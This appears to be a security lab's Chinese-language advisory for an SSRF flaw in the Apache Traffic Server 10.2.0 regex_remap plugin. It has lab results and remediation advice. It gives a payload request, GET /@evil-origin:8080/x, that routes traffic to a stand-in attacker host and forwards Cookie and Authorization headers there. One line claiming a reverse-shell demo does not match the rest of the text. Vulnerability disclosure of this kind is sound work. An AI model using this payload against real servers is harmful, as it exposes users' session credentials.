abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
类别: SSRF 可达性: 远程
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
regex_remap 的 $n 替换结果被拼接进一个字符串,并送入 TSUrlParse,后者先执行 url_clear,再将其作为完整 URL 解析。以 @ 开头的捕获内容属于 RFC 3986 的 userinfo,因此运营方源站变成了 userinfo,而攻击者主机变成了源站。Cookie 和 Authorization 会以 ATS uid 的身份被转发。
剩余部分是 http://origin:port$1(没有斜杠)。文档中记载的 http://origin/$1 会停留在运营方源站,因为斜杠终止了 authority。该插件默认不加载。
这不是 CVE-2026-58179(url_len VLA,现为 LocalBuffer),也不是 CVE-2026-22068(核心 regex_map 是全锚定的)。
| ID | 暂无 CVE |
| 类别 | SSRF |
| 可达性 | 远程(未认证 HTTP) |
| CWE | CWE-918 |
| CVSS | 高危:8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 产品 | Apache Traffic Server |
| 受影响版本 | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so 无斜杠 $n |
| 认证 | 无。插件已加载。替换为 http://origin:port$1。 |
| 许可证 | GNU Affero GPL v3.0 |
| 实验环境 | 仅 127.0.0.1:18730。镜像 ats-10.2.0-lab:local。 |
我固定了标签 10.2.0,提交 b1df7334b39a878971c376da849e8da4984918b6。源码构建镜像。
向某个 vhost 发起未认证 HTTP 请求,该 vhost 的 remap 加载了 regex_remap.so,且 $n 紧跟在 host:port 之后,没有斜杠。
| 方法 | 汇聚点 | 权限 |
|---|---|---|
GET /@evil-origin:8080/x,替换为 http://good-origin:8080$1 | url_clear 之后的 TSUrlParse(regex_remap.cc:1159-1168,URL.cc:1313-1327) | 完整性 / SSRF(实验环境已证实): ATS 将 evil-origin:8080 作为源站拨号(userinfo=good-origin:8080)。Cookie 和 Authorization 被转发。 |
| 同上 | 攻击者源站响应体 | 侦察(实验环境已证实): ATS-REGEX-REMAP-USERINFO-WITNESS 被返回给客户端。cookie-fwd=True authorization-fwd=True。 |
文档记载的替换 http://good-origin:8080/$1 | authority 在 / 处终止 | 已关闭(实验环境已证实): 停留在 good-origin。 |
替换 http://$1 | 运营方将 $n 放入 authority | SSRF(实验环境已证实): 同样到达 evil-origin。属于不同的运营方错误。 |
实验环境已证实 vs 推断: 无斜杠剩余部分、文档记载的斜杠会停留、dollar-at / dollar-host 同样指向 evil、Cookie 和 Authorization 被转发、good-origin 上的对照 /ok:均为实验环境。攻击者源站能用这些头做什么,取决于该主机本身是什么。
前提条件: regex_remap 插件。映射替换为 http://origin:port$1(无斜杠)。remap_required 保持为 1(不是开放中继)。
| 攻击面 | 实验环境 |
|---|---|
文档记载的 http://origin/$1 | slash=good |
核心 regex_map 主机 | RE_ANCHORED|RE_ENDANCHORED(CVE-2026-22068 已关闭) |
| url_len 栈 | LocalBuffer(CVE-2026-58179 已关闭) |
remap_required: 0 开放中继 | 未使用 |
对照 GET /ok | good-origin,无 witness |
regex_remap 从 $n 构建目标字符串,并对整个字符串调用 TSUrlParse。URL.cc 中的 @ 是 userinfo。将 http://good-origin:8080 与 @evil-origin:8080/x 拼接,解析器完全按照 RFC 3986 的规定执行。
我先尝试了文档中给出的形式。http://good-origin:8080/$1 配合路径 /@evil-origin:8080/x 会变成 http://good-origin:8080/@evil-origin:8080/x。斜杠终止了 authority。仍然停留在 good-origin 上。这不是那个遗留问题。
然后是 http://good-origin:8080$1(没有斜杠)。目标为 http://good-origin:8080@evil-origin:8080/x。userinfo=good-origin:8080,host=evil-origin。见证点在 evil 源上。Cookie 和 Authorization 也随之而来。
错误方向:把文档中的斜杠形式归档;将核心 regex_map 当作此插件;夸大 url_len VLA(已修补);将 http://$1 视为唯一的遗留问题(这是第二个操作符错误,而不是无斜杠的那个)。
演示:一个反向 shell。预言机是一个源响应体,加上转发的 Cookie / Authorization。
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
或
cd lab
./run.sh
回环 127.0.0.1:18730(恶意源同时发布在 18731 上)。Compose 项目 ats-regex-remap-userinfo。镜像 ats-10.2.0-lab:local。三个 vhost:slash / noslash / dollar。见证 ATS-REGEX-REMAP-USERINFO-WITNESS。最后一行:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
不要将 $n 拼接进 authority 部分。在主机与捕获内容之间保留斜杠,或将 subst 仅解析为路径。拒绝主机不是操作员源站的 dest。从插件构建的 URL 中剥离 userinfo。文档不应再暗示 http://origin/$1 是操作员编写的唯一形式。
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc 中 subst 之后的 TSUrlParseURL.cc 中的 @ userinfoInkAPI.cc 中的 TSUrlParse